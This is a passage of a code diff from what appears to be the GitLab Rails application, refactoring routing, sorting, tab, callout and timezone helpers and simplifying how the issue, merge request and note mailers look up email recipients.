+++ b/app/helpers/routing/graphql_helper.rb
@@ -9,5 +9,9 @@ module Routing
def graphql_etag_pipeline_sha_path(sha)
[api_graphql_path, "pipelines/sha/#{sha}"].join(':')
end
+
+ def graphql_etag_project_on_demand_scan_counts_path(project)
+ [api_graphql_path, "on_demand_scan/counts/#{project.full_path}"].join(':')
+ end
end
end
diff --git a/app/helpers/routing/pseudonymization_helper.rb b/app/helpers/routing/pseudonymization_helper.rb
index ac30669dc83..fd9907edc37 100644
--- a/app/helpers/routing/pseudonymization_helper.rb
+++ b/app/helpers/routing/pseudonymization_helper.rb
@@ -3,7 +3,10 @@
module Routing
module PseudonymizationHelper
class MaskHelper
- QUERY_PARAMS_TO_NOT_MASK = %w[].freeze
+ QUERY_PARAMS_TO_NOT_MASK = %w[
+ scope
+ state
+ ].freeze
def initialize(request_object, group, project)
@request = request_object
@@ -69,12 +72,10 @@ module Routing
end
end
- def masked_page_url
+ def masked_page_url(group:, project:)
return unless Feature.enabled?(:mask_page_urls, type: :ops)
- current_group = group if defined?(group)
- current_project = project if defined?(project)
- mask_helper = MaskHelper.new(request, current_group, current_project)
+ mask_helper = MaskHelper.new(request, group, project)
mask_helper.mask_params
# We rescue all exception for time being till we test this helper extensively.
diff --git a/app/helpers/sorting_helper.rb b/app/helpers/sorting_helper.rb
index b28e5ff39b2..fb30e8ca059 100644
--- a/app/helpers/sorting_helper.rb
+++ b/app/helpers/sorting_helper.rb
@@ -70,6 +70,15 @@ module SortingHelper
options
end
+ def forks_sort_options_hash
+ {
+ sort_value_recently_created => sort_title_created_date,
+ sort_value_oldest_created => sort_title_created_date,
+ sort_value_latest_activity => sort_title_latest_activity,
+ sort_value_oldest_activity => sort_title_latest_activity
+ }
+ end
+
def projects_sort_option_titles
# Only used for the project filter search bar
projects_sort_options_hash.merge({
@@ -93,6 +102,15 @@ module SortingHelper
}
end
+ def forks_reverse_sort_options_hash
+ {
+ sort_value_recently_created => sort_value_oldest_created,
+ sort_value_oldest_created => sort_value_recently_created,
+ sort_value_latest_activity => sort_value_oldest_activity,
+ sort_value_oldest_activity => sort_value_latest_activity
+ }
+ end
+
def groups_sort_options_hash
{
sort_value_name => sort_title_name,
@@ -303,6 +321,13 @@ module SortingHelper
sort_direction_button(url, reverse_sort, sort_value)
end
+
+ def forks_sort_direction_button(sort_value, without = [:state, :scope, :label_name, :milestone_id, :assignee_id, :author_id])
+ reverse_sort = forks_reverse_sort_options_hash[sort_value]
+ url = page_filter_path(sort: reverse_sort, without: without)
+
+ sort_direction_button(url, reverse_sort, sort_value)
+ end
end
SortingHelper.prepend_mod_with('SortingHelper')
diff --git a/app/helpers/system_note_helper.rb b/app/helpers/system_note_helper.rb
index 1d8b657025c..f2e1d158c2d 100644
--- a/app/helpers/system_note_helper.rb
+++ b/app/helpers/system_note_helper.rb
@@ -40,7 +40,9 @@ module SystemNoteHelper
'new_alert_added' => 'warning',
'severity' => 'information-o',
'cloned' => 'documents',
- 'issue_type' => 'pencil-square'
+ 'issue_type' => 'pencil-square',
+ 'attention_requested' => 'user',
+ 'attention_request_removed' => 'user'
}.freeze
def system_note_icon_name(note)
diff --git a/app/helpers/tab_helper.rb b/app/helpers/tab_helper.rb
index e53e35baac3..2efc3f27dc7 100644
--- a/app/helpers/tab_helper.rb
+++ b/app/helpers/tab_helper.rb
@@ -14,8 +14,7 @@ module TabHelper
gl_tabs_classes = %w[nav gl-tabs-nav]
html_options = html_options.merge(
- class: [*html_options[:class], gl_tabs_classes].join(' '),
- role: 'tablist'
+ class: [*html_options[:class], gl_tabs_classes].join(' ')
)
content = capture(&block) if block_given?
@@ -54,7 +53,7 @@ module TabHelper
extra_tab_classes = html_options.delete(:tab_class)
tab_class = %w[nav-item].push(*extra_tab_classes)
- content_tag(:li, class: tab_class, role: 'presentation') do
+ content_tag(:li, class: tab_class) do
if block_given?
link_to(options, html_options, &block)
else
@@ -63,6 +62,19 @@ module TabHelper
end
end
+ # Creates a <gl-badge> for use inside tabs.
+ #
+ # html_options - The html_options hash (default: {})
+ def gl_tab_counter_badge(count, html_options = {})
+ gl_badge_tag(
+ count,
+ { size: :sm },
+ html_options.merge(
+ class: ['gl-tab-counter-badge', *html_options[:class]]
+ )
+ )
+ end
+
# Navigation link helper
#
# Returns an `li` element with an 'active' class if the supplied
@@ -150,7 +162,7 @@ module TabHelper
action = options.delete(:action)
route_matches_paths?(options.delete(:path)) ||
- route_matches_pages?(options.delete(:page)) ||
+ route_matches_page_without_exclusion?(options.delete(:page), options.delete(:exclude_page)) ||
route_matches_controllers_and_or_actions?(controller, action)
end
@@ -175,6 +187,13 @@ module TabHelper
end
end
+ def route_matches_page_without_exclusion?(pages, exclude_page)
+ return false unless route_matches_pages?(pages)
+ return true unless exclude_page.present?
+
+ !route_matches_pages?(exclude_page)
+ end
+
def route_matches_pages?(pages)
Array(pages).compact.any? do |single_page|
# We need to distinguish between Hash argument and other types of
@@ -211,12 +230,3 @@ module TabHelper
current_page?(options)
end
end
-
-def gl_tab_counter_badge(count, html_options = {})
- badge_classes = %w[badge badge-muted badge-pill gl-badge sm gl-tab-counter-badge]
- content_tag(:span,
- count,
- class: [*html_options[:class], badge_classes].join(' '),
- data: html_options[:data]
- )
-end
diff --git a/app/helpers/time_zone_helper.rb b/app/helpers/time_zone_helper.rb
index db355f5ff65..d16f13304e5 100644
--- a/app/helpers/time_zone_helper.rb
+++ b/app/helpers/time_zone_helper.rb
@@ -3,6 +3,7 @@
module TimeZoneHelper
TIME_ZONE_FORMAT_ATTRS = {
short: %i[identifier name offset],
+ abbr: %i[identifier abbr],
full: %i[identifier name abbr offset formatted_offset]
}.freeze
private_constant :TIME_ZONE_FORMAT_ATTRS
@@ -32,7 +33,7 @@ module TimeZoneHelper
end
end
- def local_time_instance(timezone)
+ def local_timezone_instance(timezone)
return Time.zone if timezone.blank?
ActiveSupport::TimeZone.new(timezone) || Time.zone
@@ -41,7 +42,7 @@ module TimeZoneHelper
def local_time(timezone)
return if timezone.blank?
- time_zone_instance = local_time_instance(timezone)
+ time_zone_instance = local_timezone_instance(timezone)
time_zone_instance.now.strftime("%-l:%M %p")
end
end
diff --git a/app/helpers/tree_helper.rb b/app/helpers/tree_helper.rb
index d1f33f99ad0..d089b540282 100644
--- a/app/helpers/tree_helper.rb
+++ b/app/helpers/tree_helper.rb
@@ -81,7 +81,7 @@ module TreeHelper
end
def commit_in_fork_help
- _("A new branch will be created in your fork and a new merge request will be started.")
+ _("GitLab will create a branch in your fork and start a merge request.")
end
def commit_in_single_accessible_branch
diff --git a/app/helpers/user_callouts_helper.rb b/app/helpers/user_callouts_helper.rb
deleted file mode 100644
index d8e69145c40..00000000000
--- a/app/helpers/user_callouts_helper.rb
+++ /dev/null
@@ -1,98 +0,0 @@
-# frozen_string_literal: true
-
-module UserCalloutsHelper
- GKE_CLUSTER_INTEGRATION = 'gke_cluster_integration'
- GCP_SIGNUP_OFFER = 'gcp_signup_offer'
- SUGGEST_POPOVER_DISMISSED = 'suggest_popover_dismissed'
- TABS_POSITION_HIGHLIGHT = 'tabs_position_highlight'
- CUSTOMIZE_HOMEPAGE = 'customize_homepage'
- FEATURE_FLAGS_NEW_VERSION = 'feature_flags_new_version'
- REGISTRATION_ENABLED_CALLOUT = 'registration_enabled_callout'
- UNFINISHED_TAG_CLEANUP_CALLOUT = 'unfinished_tag_cleanup_callout'
- INVITE_MEMBERS_BANNER = 'invite_members_banner'
- SECURITY_NEWSLETTER_CALLOUT = 'security_newsletter_callout'
-
- def show_gke_cluster_integration_callout?(project)
- active_nav_link?(controller: sidebar_operations_paths) &&
- can?(current_user, :create_cluster, project) &&
- !user_dismissed?(GKE_CLUSTER_INTEGRATION)
- end
-
- def show_gcp_signup_offer?
- !user_dismissed?(GCP_SIGNUP_OFFER)
- end
-
- def render_flash_user_callout(flash_type, message, feature_name)
- render 'shared/flash_user_callout', flash_type: flash_type, message: message, feature_name: feature_name
- end
-
- def render_dashboard_ultimate_trial(user)
- end
-
- def render_two_factor_auth_recovery_settings_check
- end
-
- def show_suggest_popover?
- !user_dismissed?(SUGGEST_POPOVER_DISMISSED)
- end
-
- def show_customize_homepage_banner?
- current_user.default_dashboard? && !user_dismissed?(CUSTOMIZE_HOMEPAGE)
- end
-
- def show_feature_flags_new_version?
- !user_dismissed?(FEATURE_FLAGS_NEW_VERSION)
- end
-
- def show_unfinished_tag_cleanup_callout?
- !user_dismissed?(UNFINISHED_TAG_CLEANUP_CALLOUT)
- end
-
- def show_registration_enabled_user_callout?
- !Gitlab.com? &&
- current_user&.admin? &&
- signup_enabled? &&
- !user_dismissed?(REGISTRATION_ENABLED_CALLOUT)
- end
-
- def dismiss_two_factor_auth_recovery_settings_check
- end
-
- def show_invite_banner?(group)
- Ability.allowed?(current_user, :admin_group, group) &&
- !just_created? &&
- !user_dismissed_for_group(INVITE_MEMBERS_BANNER, group) &&
- !multiple_members?(group)
- end
-
- def show_security_newsletter_user_callout?
- current_user&.admin? &&
- !user_dismissed?(SECURITY_NEWSLETTER_CALLOUT)
- end
-
- private
-
- def user_dismissed?(feature_name, ignore_dismissal_earlier_than = nil)
- return false unless current_user
-
- current_user.dismissed_callout?(feature_name: feature_name, ignore_dismissal_earlier_than: ignore_dismissal_earlier_than)
- end
-
- def user_dismissed_for_group(feature_name, group, ignore_dismissal_earlier_than = nil)
- return false unless current_user
-
- current_user.dismissed_callout_for_group?(feature_name: feature_name,
- group: group,
- ignore_dismissal_earlier_than: ignore_dismissal_earlier_than)
- end
-
- def just_created?
- flash[:notice]&.include?('successfully created')
- end
-
- def multiple_members?(group)
- group.member_count > 1 || group.members_with_parents.count > 1
- end
-end
-
-UserCalloutsHelper.prepend_mod
diff --git a/app/helpers/users/callouts_helper.rb b/app/helpers/users/callouts_helper.rb
new file mode 100644
index 00000000000..32b0d7b3fe3
--- /dev/null
+++ b/app/helpers/users/callouts_helper.rb
@@ -0,0 +1,71 @@
+# frozen_string_literal: true
+
+module Users
+ module CalloutsHelper
+ GKE_CLUSTER_INTEGRATION = 'gke_cluster_integration'
+ GCP_SIGNUP_OFFER = 'gcp_signup_offer'
+ SUGGEST_POPOVER_DISMISSED = 'suggest_popover_dismissed'
+ TABS_POSITION_HIGHLIGHT = 'tabs_position_highlight'
+ FEATURE_FLAGS_NEW_VERSION = 'feature_flags_new_version'
+ REGISTRATION_ENABLED_CALLOUT = 'registration_enabled_callout'
+ UNFINISHED_TAG_CLEANUP_CALLOUT = 'unfinished_tag_cleanup_callout'
+ SECURITY_NEWSLETTER_CALLOUT = 'security_newsletter_callout'
+
+ def show_gke_cluster_integration_callout?(project)
+ active_nav_link?(controller: sidebar_operations_paths) &&
+ can?(current_user, :create_cluster, project) &&
+ !user_dismissed?(GKE_CLUSTER_INTEGRATION)
+ end
+
+ def show_gcp_signup_offer?
+ !user_dismissed?(GCP_SIGNUP_OFFER)
+ end
+
+ def render_flash_user_callout(flash_type, message, feature_name)
+ render 'shared/flash_user_callout', flash_type: flash_type, message: message, feature_name: feature_name
+ end
+
+ def render_dashboard_ultimate_trial(user)
+ end
+
+ def render_two_factor_auth_recovery_settings_check
+ end
+
+ def show_suggest_popover?
+ !user_dismissed?(SUGGEST_POPOVER_DISMISSED)
+ end
+
+ def show_feature_flags_new_version?
+ !user_dismissed?(FEATURE_FLAGS_NEW_VERSION)
+ end
+
+ def show_unfinished_tag_cleanup_callout?
+ !user_dismissed?(UNFINISHED_TAG_CLEANUP_CALLOUT)
+ end
+
+ def show_registration_enabled_user_callout?
+ !Gitlab.com? &&
+ current_user&.admin? &&
+ signup_enabled? &&
+ !user_dismissed?(REGISTRATION_ENABLED_CALLOUT)
+ end
+
+ def dismiss_two_factor_auth_recovery_settings_check
+ end
+
+ def show_security_newsletter_user_callout?
+ current_user&.admin? &&
+ !user_dismissed?(SECURITY_NEWSLETTER_CALLOUT)
+ end
+
+ private
+
+ def user_dismissed?(feature_name, ignore_dismissal_earlier_than = nil)
+ return false unless current_user
+
+ current_user.dismissed_callout?(feature_name: feature_name, ignore_dismissal_earlier_than: ignore_dismissal_earlier_than)
+ end
+ end
+end
+
+Users::CalloutsHelper.prepend_mod
diff --git a/app/helpers/users/group_callouts_helper.rb b/app/helpers/users/group_callouts_helper.rb
new file mode 100644
index 00000000000..b66c7f9f821
--- /dev/null
+++ b/app/helpers/users/group_callouts_helper.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+module Users
+ module GroupCalloutsHelper
+ INVITE_MEMBERS_BANNER = 'invite_members_banner'
+
+ def show_invite_banner?(group)
+ Ability.allowed?(current_user, :admin_group, group) &&
+ !just_created? &&
+ !user_dismissed_for_group(INVITE_MEMBERS_BANNER, group) &&
+ !multiple_members?(group)
+ end
+
+ private
+
+ def user_dismissed_for_group(feature_name, group, ignore_dismissal_earlier_than = nil)
+ return false unless current_user
+
+ current_user.dismissed_callout_for_group?(feature_name: feature_name,
+ group: group,
+ ignore_dismissal_earlier_than: ignore_dismissal_earlier_than)
+ end
+
+ def just_created?
+ flash[:notice]&.include?('successfully created')
+ end
+
+ def multiple_members?(group)
+ group.member_count > 1 || group.members_with_parents.count > 1
+ end
+ end
+end
diff --git a/app/helpers/version_check_helper.rb b/app/helpers/version_check_helper.rb
index f8d7264d4cc..7875b9e4a28 100644
--- a/app/helpers/version_check_helper.rb
+++ b/app/helpers/version_check_helper.rb
@@ -6,7 +6,7 @@ module VersionCheckHelper
return unless Gitlab::CurrentSettings.version_check_enabled
return if User.single_user&.requires_usage_stats_consent?
- image_tag VersionCheck.url, class: 'js-version-status-badge'
+ image_tag VersionCheck.image_url, class: 'js-version-status-badge'
end
def link_to_version
diff --git a/app/helpers/x509_helper.rb b/app/helpers/x509_helper.rb
index 4afc5643af4..1a9dbefceef 100644
--- a/app/helpers/x509_helper.rb
+++ b/app/helpers/x509_helper.rb
@@ -18,6 +18,6 @@ module X509Helper
end
def x509_signature?(sig)
- sig.is_a?(X509CommitSignature) || sig.is_a?(Gitlab::X509::Signature)
+ sig.is_a?(CommitSignatures::X509CommitSignature) || sig.is_a?(Gitlab::X509::Signature)
end
end
diff --git a/app/mailers/emails/in_product_marketing.rb b/app/mailers/emails/in_product_marketing.rb
index e745cd51a55..317e1545350 100644
--- a/app/mailers/emails/in_product_marketing.rb
+++ b/app/mailers/emails/in_product_marketing.rb
@@ -29,7 +29,7 @@ module Emails
format.html do
@message.format = :html
- render layout: nil
+ render layout: 'in_product_marketing_mailer'
end
format.text do
@@ -41,3 +41,5 @@ module Emails
end
end
end
+
+Emails::InProductMarketing.prepend_mod
diff --git a/app/mailers/emails/issues.rb b/app/mailers/emails/issues.rb
index 51c4779d8cf..bbc4be3b324 100644
--- a/app/mailers/emails/issues.rb
+++ b/app/mailers/emails/issues.rb
@@ -5,18 +5,18 @@ module Emails
def new_issue_email(recipient_id, issue_id, reason = nil)
setup_issue_mail(issue_id, recipient_id)
- mail_new_thread(@issue, issue_thread_options(@issue.author_id, recipient_id, reason))
+ mail_new_thread(@issue, issue_thread_options(@issue.author_id, reason))
end
def issue_due_email(recipient_id, issue_id, reason = nil)
setup_issue_mail(issue_id, recipient_id)
- mail_answer_thread(@issue, issue_thread_options(@issue.author_id, recipient_id, reason))
+ mail_answer_thread(@issue, issue_thread_options(@issue.author_id, reason))
end
def new_mention_in_issue_email(recipient_id, issue_id, updated_by_user_id, reason = nil)
setup_issue_mail(issue_id, recipient_id)
- mail_answer_thread(@issue, issue_thread_options(updated_by_user_id, recipient_id, reason))
+ mail_answer_thread(@issue, issue_thread_options(updated_by_user_id, reason))
end
# rubocop: disable CodeReuse/ActiveRecord
@@ -26,7 +26,7 @@ module Emails
@previous_assignees = []
@previous_assignees = User.where(id: previous_assignee_ids) if previous_assignee_ids.any?
- mail_answer_thread(@issue, issue_thread_options(updated_by_user_id, recipient_id, reason))
+ mail_answer_thread(@issue, issue_thread_options(updated_by_user_id, reason))
end
# rubocop: enable CodeReuse/ActiveRecord
@@ -34,9 +34,8 @@ module Emails
setup_issue_mail(issue_id, recipient_id, closed_via: closed_via)
@updated_by = User.find(updated_by_user_id)
- @recipient = User.find(recipient_id)
- mail_answer_thread(@issue, issue_thread_options(updated_by_user_id, recipient_id, reason))
+ mail_answer_thread(@issue, issue_thread_options(updated_by_user_id, reason))
end
def relabeled_issue_email(recipient_id, issue_id, label_names, updated_by_user_id, reason = nil)
@@ -44,13 +43,13 @@ module Emails
@label_names = label_names
@labels_url = project_labels_url(@project)
- mail_answer_thread(@issue, issue_thread_options(updated_by_user_id, recipient_id, reason))
+ mail_answer_thread(@issue, issue_thread_options(updated_by_user_id, reason))
end
def removed_milestone_issue_email(recipient_id, issue_id, updated_by_user_id, reason = nil)
setup_issue_mail(issue_id, recipient_id)
- mail_answer_thread(@issue, issue_thread_options(updated_by_user_id, recipient_id, reason))
+ mail_answer_thread(@issue, issue_thread_options(updated_by_user_id, reason))
end
def changed_milestone_issue_email(recipient_id, issue_id, milestone, updated_by_user_id, reason = nil)
@@ -58,7 +57,7 @@ module Emails
@milestone = milestone
@milestone_url = milestone_url(@milestone)
- mail_answer_thread(@issue, issue_thread_options(updated_by_user_id, recipient_id, reason).merge({
+ mail_answer_thread(@issue, issue_thread_options(updated_by_user_id, reason).merge({
template_name: 'changed_milestone_email'
}))
end
@@ -68,7 +67,7 @@ module Emails
@issue_status = status
@updated_by = User.find(updated_by_user_id)
- mail_answer_thread(@issue, issue_thread_options(updated_by_user_id, recipient_id, reason))
+ mail_answer_thread(@issue, issue_thread_options(updated_by_user_id, reason))
end
def issue_moved_email(recipient, issue, new_issue, updated_by_user, reason = nil)
@@ -77,7 +76,7 @@ module Emails
@new_issue = new_issue
@new_project = new_issue.project
@can_access_project = recipient.can?(:read_project, @new_project)
- mail_answer_thread(issue, issue_thread_options(updated_by_user.id, recipient.id, reason))
+ mail_answer_thread(issue, issue_thread_options(updated_by_user.id, reason))
end
def issue_cloned_email(recipient, issue, new_issue, updated_by_user, reason = nil)
@@ -87,7 +86,7 @@ module Emails
@issue = issue
@new_issue = new_issue
@can_access_project = recipient.can?(:read_project, @new_issue.project)
- mail_answer_thread(issue, issue_thread_options(updated_by_user.id, recipient.id, reason))
+ mail_answer_thread(issue, issue_thread_options(updated_by_user.id, reason))
end
def import_issues_csv_email(user_id, project_id, results)
@@ -124,14 +123,15 @@ module Emails
@project = @issue.project
@target_url = project_issue_url(@project, @issue)
@closed_via = closed_via
+ @recipient = User.find(recipient_id)
@sent_notification = SentNotification.record(@issue, recipient_id, reply_key)
end
- def issue_thread_options(sender_id, recipient_id, reason)
+ def issue_thread_options(sender_id, reason)
{
from: sender(sender_id),
- to: User.find(recipient_id).notification_email_for(@project.group),
+ to: @recipient.notification_email_for(@project.group),
subject: subject("#{@issue.title} (##{@issue.iid})"),
'X-GitLab-NotificationReason' => reason
}
diff --git a/app/mailers/emails/members.rb b/app/mailers/emails/members.rb
index 8a9ed557cc6..ef2220751bf 100644
--- a/app/mailers/emails/members.rb
+++ b/app/mailers/emails/members.rb
@@ -61,7 +61,7 @@ module Emails
Gitlab::Tracking.event(self.class.name, 'invite_email_sent', label: 'invite_email', property: member_id.to_s)
- mail(to: member.invite_email, subject: invite_email_subject, **invite_email_headers.merge(additional_invite_settings)) do |format|
+ mail(to: member.invite_email, subject: invite_email_subject, **invite_email_headers) do |format|
format.html { render layout: 'unknown_user_mailer' }
format.text { render layout: 'unknown_user_mailer' }
end
@@ -151,17 +151,7 @@ module Emails
def invite_email_subject
if member.created_by
- experiment(:invite_email_from, actor: member) do |experiment_instance|
- experiment_instance.use do
- subject(s_("MemberInviteEmail|%{member_name} invited you to join GitLab") % { member_name: member.created_by.name })
- end
-
- experiment_instance.candidate do
- subject(s_("MemberInviteEmail|I've invited you to join me in GitLab"))
- end
-
- experiment_instance.run
- end
+ subject(s_("MemberInviteEmail|%{member_name} invited you to join GitLab") % { member_name: member.created_by.name })
else
subject(s_("MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}") % { project_or_group: member_source.human_name, project_or_group_name: member_source.model_name.singular })
end
@@ -178,21 +168,6 @@ module Emails
end
end
- def additional_invite_settings
- return {} unless member.created_by
-
- experiment(:invite_email_from, actor: member) do |experiment_instance|
- experiment_instance.use { {} }
- experiment_instance.candidate do
- {
- from: "#{member.created_by.name} <#{member.created_by.email}>"
- }
- end
-
- experiment_instance.run
- end
- end
-
def member_exists?
Gitlab::AppLogger.info("Tried to send an email invitation for a deleted group. Member id: #{@member_id}") if member.blank?
member.present?
diff --git a/app/mailers/emails/merge_requests.rb b/app/mailers/emails/merge_requests.rb
index 2746b8b7188..d2e710cc329 100644
--- a/app/mailers/emails/merge_requests.rb
+++ b/app/mailers/emails/merge_requests.rb
@@ -5,13 +5,13 @@ module Emails
def new_merge_request_email(recipient_id, merge_request_id, reason = nil)
setup_merge_request_mail(merge_request_id, recipient_id, present: true)
- mail_new_thread(@merge_request, merge_request_thread_options(@merge_request.author_id, recipient_id, reason))
+ mail_new_thread(@merge_request, merge_request_thread_options(@merge_request.author_id, reason))
end
def new_mention_in_merge_request_email(recipient_id, merge_request_id, updated_by_user_id, reason = nil)
setup_merge_request_mail(merge_request_id, recipient_id, present: true)
- mail_answer_thread(@merge_request, merge_request_thread_options(updated_by_user_id, recipient_id, reason))
+ mail_answer_thread(@merge_request, merge_request_thread_options(updated_by_user_id, reason))
end
def push_to_merge_request_email(recipient_id, merge_request_id, updated_by_user_id, reason = nil, new_commits: [], existing_commits: [])
@@ -20,7 +20,7 @@ module Emails
@existing_commits = existing_commits
@updated_by_user = User.find(updated_by_user_id)
- mail_answer_thread(@merge_request, merge_request_thread_options(updated_by_user_id, recipient_id, reason))
+ mail_answer_thread(@merge_request, merge_request_thread_options(updated_by_user_id, reason))
end
def change_in_merge_request_draft_status_email(recipient_id, merge_request_id, updated_by_user_id, reason = nil)
@@ -28,7 +28,7 @@ module Emails
@updated_by_user = User.find(updated_by_user_id)
- mail_answer_thread(@merge_request, merge_request_thread_options(updated_by_user_id, recipient_id, reason))
+ mail_answer_thread(@merge_request, merge_request_thread_options(updated_by_user_id, reason))
end
# rubocop: disable CodeReuse/ActiveRecord
@@ -38,7 +38,7 @@ module Emails
@previous_assignees = []
@previous_assignees = User.where(id: previous_assignee_ids) if previous_assignee_ids.any?
- mail_answer_thread(@merge_request, merge_request_thread_options(updated_by_user_id, recipient_id, reason))
+ mail_answer_thread(@merge_request, merge_request_thread_options(updated_by_user_id, reason))
end
# rubocop: enable CodeReuse/ActiveRecord
@@ -49,7 +49,7 @@ module Emails
@previous_reviewers = []
@previous_reviewers = User.where(id: previous_reviewer_ids) if previous_reviewer_ids.any?
- mail_answer_thread(@merge_request, merge_request_thread_options(updated_by_user_id, recipient_id, reason))
+ mail_answer_thread(@merge_request, merge_request_thread_options(updated_by_user_id, reason))
end
# rubocop: enable CodeReuse/ActiveRecord
@@ -58,13 +58,13 @@ module Emails
@label_names = label_names
@labels_url = project_labels_url(@project)
- mail_answer_thread(@merge_request, merge_request_thread_options(updated_by_user_id, recipient_id, reason))
+ mail_answer_thread(@merge_request, merge_request_thread_options(updated_by_user_id, reason))
end
def removed_milestone_merge_request_email(recipient_id, merge_request_id, updated_by_user_id, reason = nil)
setup_merge_request_mail(merge_request_id, recipient_id)
- mail_answer_thread(@merge_request, merge_request_thread_options(updated_by_user_id, recipient_id, reason))
+ mail_answer_thread(@merge_request, merge_request_thread_options(updated_by_user_id, reason))
end
def changed_milestone_merge_request_email(recipient_id, merge_request_id, milestone, updated_by_user_id, reason = nil)
@@ -72,7 +72,7 @@ module Emails
@milestone = milestone
@milestone_url = milestone_url(@milestone)
- mail_answer_thread(@merge_request, merge_request_thread_options(updated_by_user_id, recipient_id, reason).merge({
+ mail_answer_thread(@merge_request, merge_request_thread_options(updated_by_user_id, reason).merge({
template_name: 'changed_milestone_email'
}))
end
@@ -81,20 +81,27 @@ module Emails
setup_merge_request_mail(merge_request_id, recipient_id)
@updated_by = User.find(updated_by_user_id)
- mail_answer_thread(@merge_request, merge_request_thread_options(updated_by_user_id, recipient_id, reason))
+ mail_answer_thread(@merge_request, merge_request_thread_options(updated_by_user_id, reason))
end
def merged_merge_request_email(recipient_id, merge_request_id, updated_by_user_id, reason: nil, closed_via: nil)
setup_merge_request_mail(merge_request_id, recipient_id)
- mail_answer_thread(@merge_request, merge_request_thread_options(updated_by_user_id, recipient_id, reason))
+ mail_answer_thread(@merge_request, merge_request_thread_options(updated_by_user_id, reason))
end
def request_review_merge_request_email(recipient_id, merge_request_id, updated_by_user_id, reason = nil)
setup_merge_request_mail(merge_request_id, recipient_id)
@updated_by = User.find(updated_by_user_id)
- mail_answer_thread(@merge_request, merge_request_thread_options(updated_by_user_id, recipient_id, reason))
+ mail_answer_thread(@merge_request, merge_request_thread_options(updated_by_user_id, reason))
+ end
+
+ def attention_requested_merge_request_email(recipient_id, merge_request_id, updated_by_user_id, reason = nil)
+ setup_merge_request_mail(merge_request_id, recipient_id)
+
+ @updated_by = User.find(updated_by_user_id)
+ mail_answer_thread(@merge_request, merge_request_thread_options(updated_by_user_id, reason))
end
def merge_request_status_email(recipient_id, merge_request_id, status, updated_by_user_id, reason = nil)
@@ -102,27 +109,27 @@ module Emails
@mr_status = status
@updated_by = User.find(updated_by_user_id)
- mail_answer_thread(@merge_request, merge_request_thread_options(updated_by_user_id, recipient_id, reason))
+ mail_answer_thread(@merge_request, merge_request_thread_options(updated_by_user_id, reason))
end
def merge_request_unmergeable_email(recipient_id, merge_request_id, reason = nil)
setup_merge_request_mail(merge_request_id, recipient_id)
- mail_answer_thread(@merge_request, merge_request_thread_options(@merge_request.author_id, recipient_id, reason))
+ mail_answer_thread(@merge_request, merge_request_thread_options(@merge_request.author_id, reason))
end
def resolved_all_discussions_email(recipient_id, merge_request_id, resolved_by_user_id, reason = nil)
setup_merge_request_mail(merge_request_id, recipient_id)
@resolved_by = User.find(resolved_by_user_id)
- mail_answer_thread(@merge_request, merge_request_thread_options(resolved_by_user_id, recipient_id, reason))
+ mail_answer_thread(@merge_request, merge_request_thread_options(resolved_by_user_id, reason))
end
def merge_when_pipeline_succeeds_email(recipient_id, merge_request_id, mwps_set_by_user_id, reason = nil)
setup_merge_request_mail(merge_request_id, recipient_id)
@mwps_set_by = ::User.find(mwps_set_by_user_id)
- mail_answer_thread(@merge_request, merge_request_thread_options(mwps_set_by_user_id, recipient_id, reason))
+ mail_answer_thread(@merge_request, merge_request_thread_options(mwps_set_by_user_id, reason))
end
def merge_requests_csv_email(user, project, csv_data, export_status)
@@ -147,19 +154,19 @@ module Emails
@merge_request = MergeRequest.find(merge_request_id)
@project = @merge_request.project
@target_url = project_merge_request_url(@project, @merge_request)
+ @recipient = User.find(recipient_id)
if present
- recipient = User.find(recipient_id)
- @mr_presenter = @merge_request.present(current_user: recipient)
+ @mr_presenter = @merge_request.present(current_user: @recipient)
end
@sent_notification = SentNotification.record(@merge_request, recipient_id, reply_key)
end
- def merge_request_thread_options(sender_id, recipient_id, reason = nil)
+ def merge_request_thread_options(sender_id, reason = nil)
{
from: sender(sender_id),
- to: User.find(recipient_id).notification_email_for(@project.group),
+ to: @recipient.notification_email_for(@project.group),
subject: subject("#{@merge_request.title} (#{@merge_request.to_reference})"),
'X-GitLab-NotificationReason' => reason
}
diff --git a/app/mailers/emails/notes.rb b/app/mailers/emails/notes.rb
index 587c1479286..1e254a32885 100644
--- a/app/mailers/emails/notes.rb
+++ b/app/mailers/emails/notes.rb
@@ -7,7 +7,7 @@ module Emails
@commit = @note.noteable
@target_url = project_commit_url(*note_target_url_options)
- mail_answer_note_thread(@commit, @note, note_thread_options(recipient_id, reason))
+ mail_answer_note_thread(@commit, @note, note_thread_options(reason))
end
def note_issue_email(recipient_id, note_id, reason = nil)
@@ -15,7 +15,7 @@ module Emails
@issue = @note.noteable
@target_url = project_issue_url(*note_target_url_options)
- mail_answer_note_thread(@issue, @note, note_thread_options(recipient_id, reason))
+ mail_answer_note_thread(@issue, @note, note_thread_options(reason))
end
def note_merge_request_email(recipient_id, note_id, reason = nil)
@@ -23,7 +23,7 @@ module Emails
@merge_request = @note.noteable
@target_url = project_merge_request_url(*note_target_url_options)
- mail_answer_note_thread(@merge_request, @note, note_thread_options(recipient_id, reason))
+ mail_answer_note_thread(@merge_request, @note, note_thread_options(reason))
end
def note_snippet_email(recipient_id, note_id, reason = nil)
@@ -37,7 +37,7 @@ module Emails
@target_url = gitlab_snippet_url(@note.noteable)
end
- mail_answer_note_thread(@snippet, @note, note_thread_options(recipient_id, reason))
+ mail_answer_note_thread(@snippet, @note, note_thread_options(reason))
end
def note_design_email(recipient_id, note_id, reason = nil)
@@ -49,7 +49,7 @@ module Emails
design.issue,
note_target_url_query_params.merge(vueroute: design.filename)
)
- mail_answer_note_thread(design, @note, note_thread_options(recipient_id, reason))
+ mail_answer_note_thread(design, @note, note_thread_options(reason))
end
private
@@ -62,10 +62,10 @@ module Emails
{ anchor: "note_#{@note.id}" }
end
- def note_thread_options(recipient_id, reason)
+ def note_thread_options(reason)
{
from: sender(@note.author_id),
- to: User.find(recipient_id).notification_email_for(@project&.group || @group),
+ to: @recipient.notification_email_for(@project&.group || @group),
subject: subject("#{@note.noteable.title} (#{@note.noteable.reference_link_text})"),
'X-GitLab-NotificationReason' => reason
}
@@ -76,6 +76,7 @@ module Emails
@note = note_id.is_a?(Note) ? note_id : Note.find(note_id)
@project = @note.project
@group = @note.noteable.try(:group)
+ @recipient = User.find(recipient_id)
if (@project || @group) && @note.persisted?
@sent_notification = SentNotification.record_note(@note, recipient_id, reply_key)
diff --git a/app/mailers/emails/projects.rb b/app/mailers/emails/projects.rb
index 06ba16f9724..14c724b5b91 100644
